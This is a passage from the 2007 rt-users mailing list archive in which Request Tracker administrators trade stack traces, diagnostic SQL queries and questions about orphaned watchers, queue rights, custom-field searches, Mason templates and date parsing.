>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> > >> line 1245
>> >> > >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> >> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)',
>> >> 'ShowHeaders',
>> >> > >> undef,
>> >> > >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> >> '/Ticket/Attachment',
>> >> > >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> > >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> >> undef,
>> >> > >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> >> > >> 'Attachments',
>> >> > >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> >> > >> 'LastTransaction',
>> >> > >> 0) called at
>> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory
>> line 102
>> >> > >> HTML::Mason::Commands::__ANON__('Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> > >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> >> > >> 'Attachments',
>> >> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> >> > >> 'RT::Attachments=HASH(0xc98d840)') called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >> > >>
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> >>
>> >> > >>
>> >> > >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef,
>> >> 'Collapsed',
>> >> > >> undef,
>> >> > >> 'ShowHeaders', undef, 'Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)',
>> >> > >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> > >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> > >> line 1245
>> >> > >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> >> > >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> > >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> >> > >> 'Attachments',
>> >> > >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> >> > >> 'RT::Attachments=HASH(0xc98d840)') called at
>> >> > >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> >> > >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767)
>> called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >> > >>
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> >>
>> >> > >>
>> >> > >> 'id', 55767, 'id', 55767) called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> > >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> > >> line 1245
>> >> > >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id',
>> 55767)
>> >> > >> called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> >> > >>
>> >>
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> >>
>> >> > >>
>> >> > >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler
>> >> line
>> >> > >> 279
>> >> > >> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >> > >>
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> >>
>> >> > >>
>> >> > >> 'id', 55767) called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> > >> line 1246
>> >> > >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> > >> line 1245
>> >> > >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767)
>> >> called at
>> >> > >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> >> > >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> > >> line 459
>> >> > >> eval {...} at
>> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> > >> line 411
>> >> > >>
>> >>
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> >>
>> >> > >>
>> >> > >> called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> >> > >> line 168
>> >> > >>
>> >>
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> >>
>> >> > >>
>> >> > >> called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> >> > >> line 826
>> >> > >>
>> >>
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> >>
>> >> > >>
>> >> > >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> >> > >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> >> > >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> >> > >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)')
>> >> called at
>> >> > >> -e line 0
>> >> > >> eval {...} at -e line 0
>> >> > >>
>> >> > >> If we don't protect the freedom of speech, how will we know
>> who the
>> >> > >> assholes are?
>> >> > >> http://theillien.blogspot.com
>> >> > >>
>> >> > >>
>> >> > >> Mathew Snyder wrote:
>> >> > >> > I think I've asked about this before and I'm fairly certain I
>> >> > >> already know the
>> >> > >> > answer.  However, I'm not certain it should be happening.
>> >> > >> >
>> >> > >> > We keep getting the error "Can't call method "Name" on an
>> >> undefined
>> >> > >> value..."
>> >> > >> > If I recall correctly this is a result of eliminating via
>> >> Shredder a
>> >> > >> user which
>> >> > >> > was at one point attatched to a ticket.  The only problem with
>> >> this
>> >> > >> is that the
>> >> > >> > only users I remove are those that are created when we receive
>> >> spam.
>> >> > >> >
>> >> > >> > So is this the only explanation?  More and more of these
>> tickets
>> >> > >> keep appearing
>> >> > >> > but I can't figure out how all of these users are disappearing.
>> >> > >> >
>> >> > >> > Thanks
>> >> > >> > Mathew
>> >> > >> > _______________________________________________
>> >> > >> >
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >> > >> >
>> >> > >> > Community help: http://wiki.bestpractical.com
>> >> > >> > Commercial support: sales at bestpractical.com
>> >> > >> >
>> >> > >> >
>> >> > >> > Discover RT's hidden secrets with RT Essentials from O'Reilly
>> >> Media.
>> >> > >> > Buy a copy at http://rtbook.bestpractical.com
>> >> > >> >
>> >> > >> _______________________________________________
>> >> > >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >> > >>
>> >> > >> Community help: http://wiki.bestpractical.com
>> >> > >> Commercial support: sales at bestpractical.com
>> >> > >>
>> >> > >>
>> >> > >> Discover RT's hidden secrets with RT Essentials from O'Reilly
>> Media.
>> >> > >> Buy a copy at http://rtbook.bestpractical.com
>> >> > >>
>> >> > >
>> >> > >
>> >> >
>> >>
>> >>
>> >> --
>> >> Best regards, Ruslan.
>> >>
>> >
>> >
>>
>> mysql> SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field,
>> txn.NewValue,
>>     -> txn.ReferenceType, txn.NewReference, t.id tid FROM Tickets t JOIN
>>     -> Transactions txn ON txn.Type = 'AddWatcher' AND txn.ObjectType =
>>     -> 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN Principals p ON
>> p.id =
>>     -> txn.NewValue WHERE p.id IS NULL AND t.id = 55767;
>> +------+---------------+--------+-------+----------+---------------+--------------+-------+
>>
>> | id   | PrincipalType | txn_id | Field | NewValue | ReferenceType |
>> NewReference | tid   |
>> +------+---------------+--------+-------+----------+---------------+--------------+-------+
>>
>> | NULL | NULL          | 377862 | Cc    | 3368     | NULL         
>> |         NULL | 55767 |
>> +------+---------------+--------+-------+----------+---------------+--------------+-------+
>>
>> 1 row in set (0.00 sec)
>> mysql> SELECT p.id, p.PrincipalType, txn.id txn_id, txn.Field,
>> txn.NewValue,
>>     -> txn.ReferenceType, txn.NewReference, txn.ObjectId tid FROM
>>     -> Transactions txn LEFT JOIN Principals p ON p.id = txn.NewValue
>> WHERE
>>     -> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
>> p.id IS
>>     -> NULL;
>> +------+---------------+--------+-----------+----------+---------------+--------------+-------+
>>
>> | id   | PrincipalType | txn_id | Field     | NewValue | ReferenceType
>> | NewReference | tid   |
>> +------+---------------+--------+-----------+----------+---------------+--------------+-------+
>>
>> | NULL | NULL          |    195 | Cc        | 270      | NULL         
>> |         NULL | 15015 |
>> | NULL | NULL          |   2596 | Requestor | 2112     | NULL         
>> |         NULL | 15305 |
>> | NULL | NULL          |   2273 | Requestor | 1872     | NULL         
>> |         NULL | 15387 |
>> | NULL | NULL          |   2274 | Requestor | 1874     | NULL         
>> |         NULL | 15387 |
>> | NULL | NULL          |   4231 | Cc        | 60       | NULL         
>> |         NULL | 15671 |
>> | NULL | NULL          |   4666 | Cc        | 60       | NULL         
>> |         NULL | 15728 |
>> | NULL | NULL          |   4810 | AdminCc   | 2112     | NULL         
>> |         NULL | 15745 |
>> | NULL | NULL          |   6023 | Cc        | 60       | NULL         
>> |         NULL | 15913 |
>> | NULL | NULL          |   6174 | Requestor | 180      | NULL         
>> |         NULL | 15936 |
>> | NULL | NULL          |   6369 | Cc        | 2670     | NULL         
>> |         NULL | 15958 |
>> | NULL | NULL          |   6586 | Requestor | 4756     | NULL         
>> |         NULL | 15994 |
>> | NULL | NULL          |   6589 | Requestor | 2670     | NULL         
>> |         NULL | 15994 |
>> | NULL | NULL          |   6590 | Requestor | 4758     | NULL         
>> |         NULL | 15994 |
>> | NULL | NULL          |   8229 | Requestor | 3980     | NULL         
>> |         NULL | 16195 |
>> | NULL | NULL          |   8470 | Cc        | 5870     | NULL         
>> |         NULL | 16235 |
>> | NULL | NULL          |  10810 | Requestor | 7490     | NULL         
>> |         NULL | 16572 |
>> | NULL | NULL          |  12068 | Cc        | 7706     | NULL         
>> |         NULL | 16770 |
>> | NULL | NULL          |  13686 | Cc        | 60       | NULL         
>> |         NULL | 17039 |
>> | NULL | NULL          |  15175 | AdminCc   | 3368     | NULL         
>> |         NULL | 17299 |
>> | NULL | NULL          |  19283 | Requestor | 2508     | NULL         
>> |         NULL | 17973 |
>> | NULL | NULL          |  27026 | Cc        | 3368     | NULL         
>> |         NULL | 19448 |
>> | NULL | NULL          |  27032 | Cc        | 3368     | NULL         
>> |         NULL | 19463 |
>> | NULL | NULL          |  27022 | Cc        | 3368     | NULL         
>> |         NULL | 19470 |
>> | NULL | NULL          |  28635 | Cc        | 80       | NULL         
>> |         NULL | 19698 |
>> | NULL | NULL          |  30104 | Cc        | 3368     | NULL         
>> |         NULL | 19875 |
>> | NULL | NULL          |  34258 | Cc        | 3368     | NULL         
>> |         NULL | 20689 |
>> | NULL | NULL          |  35064 | Requestor | 29500    | NULL         
>> |         NULL | 20765 |
>> | NULL | NULL          |  37891 | Cc        | 3368     | NULL         
>> |         NULL | 21147 |
>> | NULL | NULL          |  37451 | Cc        | 80       | NULL         
>> |         NULL | 21325 |
>> | NULL | NULL          |  37455 | Cc        | 3368     | NULL         
>> |         NULL | 21325 |
>> | NULL | NULL          |  41186 | Cc        | 3980     | NULL         
>> |         NULL | 22037 |
>> | NULL | NULL          |  46850 | Cc        | 43751    | NULL         
>> |         NULL | 23378 |
>> | NULL | NULL          |  50198 | Cc        | 46908    | NULL         
>> |         NULL | 23926 |
>> | NULL | NULL          |  50744 | Cc        | 3368     | NULL         
>> |         NULL | 24139 |
>> | NULL | NULL          |  50741 | Cc        | 3368     | NULL         
>> |         NULL | 24140 |
>> | NULL | NULL          |  55822 | Cc        | 3368     | NULL         
>> |         NULL | 24528 |
>> | NULL | NULL          |  56273 | Cc        | 3368     | NULL         
>> |         NULL | 24569 |
>> | NULL | NULL          |  54174 | Requestor | 8080     | NULL         
>> |         NULL | 24918 |
>> | NULL | NULL          |  57190 | Cc        | 3368     | NULL         
>> |         NULL | 25636 |
>> | NULL | NULL          |  62220 | Requestor | 29500    | NULL         
>> |         NULL | 25955 |
>> | NULL | NULL          |  60048 | Cc        | 3368     | NULL         
>> |         NULL | 26286 |
>> | NULL | NULL          |  60638 | Cc        | 3368     | NULL         
>> |         NULL | 26421 |
>> | NULL | NULL          |  61226 | Cc        | 3368     | NULL         
>> |         NULL | 26560 |
>> | NULL | NULL          |  63750 | AdminCc   | 3368     | NULL         
>> |         NULL | 27124 |
>> | NULL | NULL          |  67219 | Cc        | 3368     | NULL         
>> |         NULL | 27552 |
>> | NULL | NULL          |  67687 | Cc        | 3368     | NULL         
>> |         NULL | 27913 |
>> | NULL | NULL          |  69689 | Cc        | 56816    | NULL         
>> |         NULL | 28316 |
>> | NULL | NULL          |  69767 | Cc        | 69640    | NULL         
>> |         NULL | 28316 |
>> | NULL | NULL          |  91506 | Cc        | 87643    | NULL         
>> |         NULL | 31135 |
>> | NULL | NULL          |  93739 | Cc        | 70530    | NULL         
>> |         NULL | 31709 |
>> | NULL | NULL          |  94865 | Cc        | 46726    | NULL         
>> |         NULL | 31954 |
>> | NULL | NULL          |  96762 | Cc        | 94386    | NULL         
>> |         NULL | 32376 |
>> | NULL | NULL          |  96885 | Cc        | 94462    | NULL         
>> |         NULL | 32405 |
>> | NULL | NULL          |  97572 | Requestor | 92077    | NULL         
>> |         NULL | 32548 |
>> | NULL | NULL          |  98231 | Requestor | 70530    | NULL         
>> |         NULL | 32602 |
>> | NULL | NULL          |  98295 | Cc        | 28368    | NULL         
>> |         NULL | 32662 |
>> | NULL | NULL          |  98296 | Cc        | 13287    | NULL         
>> |         NULL | 32662 |
>> | NULL | NULL          |  98297 | Cc        | 95798    | NULL         
>> |         NULL | 32662 |
>> | NULL | NULL          |  99376 | Requestor | 28368    | NULL         
>> |         NULL | 32662 |
>> | NULL | NULL          |  99378 | Cc        | 95792    | NULL         
>> |         NULL | 32662 |
>> | NULL | NULL          |  99380 | Requestor | 13287    | NULL         
>> |         NULL | 32662 |
>> | NULL | NULL          |  99361 | Cc        | 3448     | NULL         
>> |         NULL | 32843 |
>> | NULL | NULL          | 103316 | Requestor | 65511    | NULL         
>> |         NULL | 33745 |
>> | NULL | NULL          | 105409 | Cc        | 3368     | NULL         
>> |         NULL | 34100 |
>> | NULL | NULL          | 105671 | Requestor | 2638     | NULL         
>> |         NULL | 34139 |
>> | NULL | NULL          | 106944 | Cc        | 3368     | NULL         
>> |         NULL | 34251 |
>> | NULL | NULL          | 107906 | Cc        | 3368     | NULL         
>> |         NULL | 34544 |
>> | NULL | NULL          | 108606 | Cc        | 3368     | NULL         
>> |         NULL | 34645 |
>> | NULL | NULL          | 120082 | Cc        | 101555   | NULL         
>> |         NULL | 34676 |
>> | NULL | NULL          | 115778 | Cc        | 3368     | NULL         
>> |         NULL | 34956 |
>> | NULL | NULL          | 111031 | Requestor | 103208   | NULL         
>> |         NULL | 35077 |
>> | NULL | NULL          | 111441 | Cc        | 108236   | NULL         
>> |         NULL | 35157 |
>> | NULL | NULL          | 113017 | Requestor | 13287    | NULL         
>> |         NULL | 35427 |
>> | NULL | NULL          | 118641 | Cc        | 114272   | NULL         
>> |         NULL | 35642 |
>> | NULL | NULL          | 115584 | Requestor | 20559    | NULL         
>> |         NULL | 35899 |
>> | NULL | NULL          | 122977 | Requestor | 56991    | NULL         
>> |         NULL | 37107 |
>> | NULL | NULL          | 122590 | Cc        | 3368     | NULL         
>> |         NULL | 37109 |
>> | NULL | NULL          | 123679 | Cc        | 118250   | NULL         
>> |         NULL | 37276 |
>> | NULL | NULL          | 123685 | Cc        | 3980     | NULL         
>> |         NULL | 37276 |
>> | NULL | NULL          | 123688 | Requestor | 3980     | NULL         
>> |         NULL | 37276 |
>> | NULL | NULL          | 124658 | Cc        | 115066   | NULL         
>> |         NULL | 37442 |
>> | NULL | NULL          | 126140 | Cc        | 114272   | NULL         
>> |         NULL | 37672 |
>> | NULL | NULL          | 128117 | Requestor | 121662   | NULL         
>> |         NULL | 38015 |
>> | NULL | NULL          | 129436 | Cc        | 122762   | NULL         
>> |         NULL | 38247 |
>> | NULL | NULL          | 131431 | Cc        | 2638     | NULL         
>> |         NULL | 38591 |
>> | NULL | NULL          | 132796 | Requestor | 115066   | NULL         
>> |         NULL | 38825 |
>> | NULL | NULL          | 138759 | Cc        | 93112    | NULL         
>> |         NULL | 39852 |
>> | NULL | NULL          | 138760 | Cc        | 12404    | NULL         
>> |         NULL | 39852 |
>> | NULL | NULL          | 139254 | Requestor | 131402   | NULL         
>> |         NULL | 40025 |
>> | NULL | NULL          | 170704 | Cc        | 145261   | NULL         
>> |         NULL | 42026 |
>> | NULL | NULL          | 165328 | Cc        | 143705   | NULL         
>> |         NULL | 42380 |
>> | NULL | NULL          | 178572 | Requestor | 145221   | NULL         
>> |         NULL | 43382 |
>> | NULL | NULL          | 263341 | Cc        | 100603   | NULL         
>> |         NULL | 44028 |
>> | NULL | NULL          | 189265 | Cc        | 151286   | NULL         
>> |         NULL | 44042 |
>> | NULL | NULL          | 189268 | Cc        | 151288   | NULL         
>> |         NULL | 44042 |
>> | NULL | NULL          | 189271 | Cc        | 151290   | NULL         
>> |         NULL | 44042 |
>> | NULL | NULL          | 191666 | Cc        | 3368     | NULL         
>> |         NULL | 44190 |
>> | NULL | NULL          | 205214 | Cc        | 3368     | NULL         
>> |         NULL | 45009 |
>> | NULL | NULL          | 285102 | Cc        | 3368     | NULL         
>> |         NULL | 45042 |
>> | NULL | NULL          | 217596 | Requestor | 159539   | NULL         
>> |         NULL | 45721 |
>> | NULL | NULL          | 224299 | Cc        | 162093   | NULL         
>> |         NULL | 46213 |
>> | NULL | NULL          | 224300 | Requestor | 29760    | NULL         
>> |         NULL | 46213 |
>> | NULL | NULL          | 233472 | Cc        | 165261   | NULL         
>> |         NULL | 46833 |
>> | NULL | NULL          | 260741 | Cc        | 3368     | NULL         
>> |         NULL | 48741 |
>> | NULL | NULL          | 284029 | Requestor | 3980     | NULL         
>> |         NULL | 49971 |
>> | NULL | NULL          | 288692 | Requestor | 185022   | NULL         
>> |         NULL | 50658 |
>> | NULL | NULL          | 298445 | Cc        | 10268    | NULL         
>> |         NULL | 51160 |
>> | NULL | NULL          | 307010 | Cc        | 3368     | NULL         
>> |         NULL | 51802 |
>> | NULL | NULL          | 314703 | Cc        | 3368     | NULL         
>> |         NULL | 52094 |
>> | NULL | NULL          | 320961 | Cc        | 196017   | NULL         
>> |         NULL | 52511 |
>> | NULL | NULL          | 336707 | Cc        | 3368     | NULL         
>> |         NULL | 53444 |
>> | NULL | NULL          | 340022 | Cc        | 3368     | NULL         
>> |         NULL | 53686 |
>> | NULL | NULL          | 363180 | Cc        | 3368     | NULL         
>> |         NULL | 53858 |
>> | NULL | NULL          | 343420 | Cc        | 3368     | NULL         
>> |         NULL | 53870 |
>> | NULL | NULL          | 345199 | Cc        | 3368     | NULL         
>> |         NULL | 54012 |
>> | NULL | NULL          | 377862 | Cc        | 3368     | NULL         
>> |         NULL | 55767 |
>> +------+---------------+--------+-----------+----------+---------------+--------------+-------+
>>
>> 116 rows in set (2.03 sec)
>>
> 
> 


From D.Obando at ehapa.de  Fri Feb  9 05:41:23 2007
From: D.Obando at ehapa.de (Obando, David DE - EV)
Date: Fri, 9 Feb 2007 11:41:23 +0100
Subject: [rt-users] resctricting rights per queue
Message-ID: <81D141237A54374E9E79CF14F96612A3B40563@TXLEVD1-XCH03.ev.egmont.com>

Dear all,

I'm using a 3.6.3 system and I want to set up a group with dispatching
rights (taking, editing, resolving tickets) on a queue basis. This group
should only see tickets in queues A and B and no tickets in queues C and
D. 
How can I restrict their rights that they are not at all able to see any
tickets that are not in queues A and B?
I found ways to setup a "RT at a glance" page for them with only their
queues but when they e.g. enter the ticket ID in the URL they can see
any ticket.

Thanks!
David

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From rfh at pipex.net  Fri Feb  9 05:54:51 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Fri, 09 Feb 2007 10:54:51 +0000
Subject: [rt-users] custom field search
In-Reply-To: <bdbd084b0702082216h4480ed54ma2a0f9d6db09297f@mail.gmail.com>
References: <45CB53EC.5000409@pipex.net>
	<bdbd084b0702082216h4480ed54ma2a0f9d6db09297f@mail.gmail.com>
Message-ID: <45CC52FB.8030101@pipex.net>

Thanks Torsten , upgrading is not a simple process in here, I have to go 
through dev cycle etc .. as there is a risk of something breaking
I searched the mailing list and wiki before sending my mail yesterday 
could n't find anything about pacthes or fix for this, You wont happen 
to know the thread ??
Roy

Torsten Brumm wrote:
> Hi Roy,
>
> so far i can remember, there was a problem some sub releases ago with 
> CF's
> searches and jesse also send a patch or fix to the list. I'm not sure for
> which version but i think it was 3.6.1. Have you tryed to upgrade to 
> 3.6.3?
> Here it is working.
>
> Torsten
>
> 2007/2/8, Roy El-Hames <rfh at pipex.net>:
>>
>> Hi there;
>> RT 3.6.1 , apache2 mod_perl2 and mysql 5
>>
>> I have asked this question before , but did not get a valid response ,
>> I have a problem searching custom fields values, I can display them in
>> the search results , but I can't search for them eg a search
>> 'CF.{Customer_Ref}' LIKE '1234' AND Queue = 'Testing' display 0 results
>> where I know there is atleast 1 ..
>> I can see and edit cf's so its not permission issue ...
>>
>> I have removed all customisation (apart of RT_SiteConfig) so its nothing
>> I did ..
>> the problem apply to all types of custom fields.
>>
>> Any help will be appreciated.
>>
>> Thanks;
>> Roy
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
>>
>
>
>



From torsten.brumm at googlemail.com  Fri Feb  9 06:03:57 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Fri, 9 Feb 2007 12:03:57 +0100
Subject: [rt-users] Help with Custom Pages
Message-ID: <bdbd084b0702090303x66a1d4bar15a25f781fb253a7@mail.gmail.com>

Hi RT Users,

i'm trying to customize the Create.html Page and fighting with the Custom
Field Section. I found that the Custom Fields from a specific queue are hand
over from Create.html to a Element called EditCustomFields. So far so good.
This renders all the Custom Fields for this queue.

What i need in this "special" Case is only one Custom Field!

At the Elements/EditCustomFields i found the following:

<table>
<tr>
<td valign="top" width="50%">
<table>

% my @entry_fields;
% my $i;
% my $cfcount = $CustomFields->Count;
%  $cfcount++ if ($cfcount % 2) ; # if we have an odd number of
% #custom fields, fudge it so we know where to put in the table break
% while (my $CustomField = $CustomFields->Next()) {
% if ($cfcount == 2 * $i) {
</table>
</td>
<td valign="top" width="50%">
<table>
% }
% $i++;
  <tr>
    <td class="labeltop">
      <b><%$CustomField->Name%></b><br>
      <i><%$CustomField->FriendlyType%></i>
    </td>
    <td class="entry"><& EditCustomField,
        Object => $TicketObj,
        CustomField => $CustomField,
        NamePrefix => $NamePrefix ,
        Default => $m->notes('Field-' . $CustomField->Id),
        &>
%  if (my $msg = $m->notes('InvalidField-' . $CustomField->Id)) {
        <br>
        <em style="color: red"><% $msg %></em></td>
%  }
  </tr>
% }
</table>
</td>
</tr>
</table>

Does anyone have an idea how to limit this to only one NAMED Custom Field???
Thanks
-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From Michael.Peer at eurac.edu  Fri Feb  9 09:16:36 2007
From: Michael.Peer at eurac.edu (Peer Michael)
Date: Fri, 9 Feb 2007 15:16:36 +0100
Subject: [rt-users] SetDates in rt-3.4.5
Message-ID: <EF650F471C832344BEBD07E6C0E0DB3F049D00EC@abz02be.eurac.edu>

Dear all,

 

I'm using rt-3.4.5

When I set dates with this format: 1 week 13:12, then RT set the date to
now+1 week at 13:12. But when I type 1 month 13:12 then RT set the date
to now+1 month at the current time. How can this behavior be corrected?

 

Thanks

Michael Peer 

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From rfox at findlay.edu  Fri Feb  9 11:05:22 2007
From: rfox at findlay.edu (Ryan Fox)
Date: Fri, 09 Feb 2007 11:05:22 -0500
Subject: [rt-users] blank OrderBy entries causing query to fail - 3.6.3
Message-ID: <45CC9BC2.1080109@findlay.edu>

On my rt 3.6.3 install, I'm experiencing a problem where when performing 
a ticket search, if all 4 OrderBy fields are not filled in, and the 'Add 
and Search' button is pressed (submitting it to Build.html), the count 
of tickets displays correctly but no tickets are displayed in the list.

The rt.log confirms that the query passed to mysql is invalid.

Fri Feb  9 15:54:45 2007] [warning]: DBD::mysql::st execute failed: You 
have an error in your SQL syntax.  Check the manual that corresponds to 
your MySQL server version for the right syntax to use near '| ASC, 
main.id DESC  LIMIT 50' at line 1 at 
/usr/local/libdata/perl5/site_perl/DBIx/SearchBuilder/Handle.pm line 50
5. (/usr/local/libdata/perl5/site_perl/DBIx/SearchBuilder/Handle.pm:505)
[Fri Feb  9 15:54:45 2007] [warning]: RT::Handle=HASH(0x863734e4) 
couldn't execute the query 'SELECT main.* FROM Tickets main   WHERE 
((main.EffectiveId = main.id)) AND ((main.Status != 'deleted')) AND 
((main.Type = 'ticket')) AND ((main.Queue = '7') AND  ( (main.Status != 
'rejected') AND (main.Status != 'deleted') AND (main.Status != 
'resolved') ) )  ORDER BY main.id||| ASC, main.id DESC  LIMIT 50' at 
/usr/local/libdata/perl5/site_perl/DBIx/SearchBuilder/Handle.pm line 518

The same query works fine from the 'Show Results' link at the top that 
submits to Results.html, as do Results.tsv and rdf.

Can anyone else confirm this is happening to them?

Thanks,
Ryan
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From KFCrocker at lbl.gov  Fri Feb  9 11:43:15 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Fri, 09 Feb 2007 08:43:15 -0800
Subject: [rt-users] Prevent Automatic add client Names in Owner drop down
	list
In-Reply-To: <c2b99b7f0702081824i2f632b69i487c0d83b4a37513@mail.gmail.com>
References: <c2b99b7f0702081824i2f632b69i487c0d83b4a37513@mail.gmail.com>
Message-ID: <45CCA4A3.3010603@lbl.gov>

Marie,

	I need to know how you have the Queues (A thru D) set up in terms of 
global rights, Group rights to a Queue, and individual user rights. The 
RT Essentials book give some guidelines to privileges, but not much info 
on all the inter-relations. Basically, you need to make sure that the 
only global rights you grant are the type of privileges you want any 
privileged or non-privileged user to have and grant the rights involving 
"access to tickets", "working on tickets", and "communication on 
tickets" on a Queue by Queue basis for specific groups. This may/may not 
involve group rights to custom fields, if you use them, and other 
relationships. Hope this helps.

Kenn
LBNL

Marie wrote:
> I have enabled email creation via ticket. I noticed that when I create a 
> ticket manually, i see other names/emails in the Owner drop down. How 
> can i prevent the system from adding names and list only those users i 
> created via  Configuration->Users->New User
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From KFCrocker at lbl.gov  Fri Feb  9 11:43:59 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Fri, 09 Feb 2007 08:43:59 -0800
Subject: [rt-users] resctricting rights per queue
In-Reply-To: <81D141237A54374E9E79CF14F96612A3B40563@TXLEVD1-XCH03.ev.egmont.com>
References: <81D141237A54374E9E79CF14F96612A3B40563@TXLEVD1-XCH03.ev.egmont.com>
Message-ID: <45CCA4CF.7090809@lbl.gov>

Obando,

	I need to know how you have the Queues (A thru D) set up in terms of 
global rights, Group rights to a Queue, and individual user rights. The 
RT Essentials book give some guidelines to privileges, but not much info 
on all the inter-relations. Basically, you need to make sure that the 
only global rights you grant are the type of privileges you want any 
privileged or non-privileged user to have and grant the rights involving 
"access to tickets", "working on tickets", and "communication on 
tickets" on a Queue by Queue basis for specific groups. This may/may not 
involve group rights to custom fields, if you use them, and other 
relationships. Hope this helps.

Kenn
LBNL

Obando, David DE - EV wrote:
> Dear all,
> 
> I'm using a 3.6.3 system and I want to set up a group with dispatching 
> rights (taking, editing, resolving tickets) on a queue basis. This group 
> should only see tickets in queues A and B and no tickets in queues C and D.
> 
> How can I restrict their rights that they are not at all able to see any 
> tickets that are not in queues A and B?
> I found ways to setup a "RT at a glance" page for them with only their 
> queues but when they e.g. enter the ticket ID in the URL they can see 
> any ticket.
> 
> Thanks!
> David
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From KFCrocker at lbl.gov  Fri Feb  9 11:48:24 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Fri, 09 Feb 2007 08:48:24 -0800
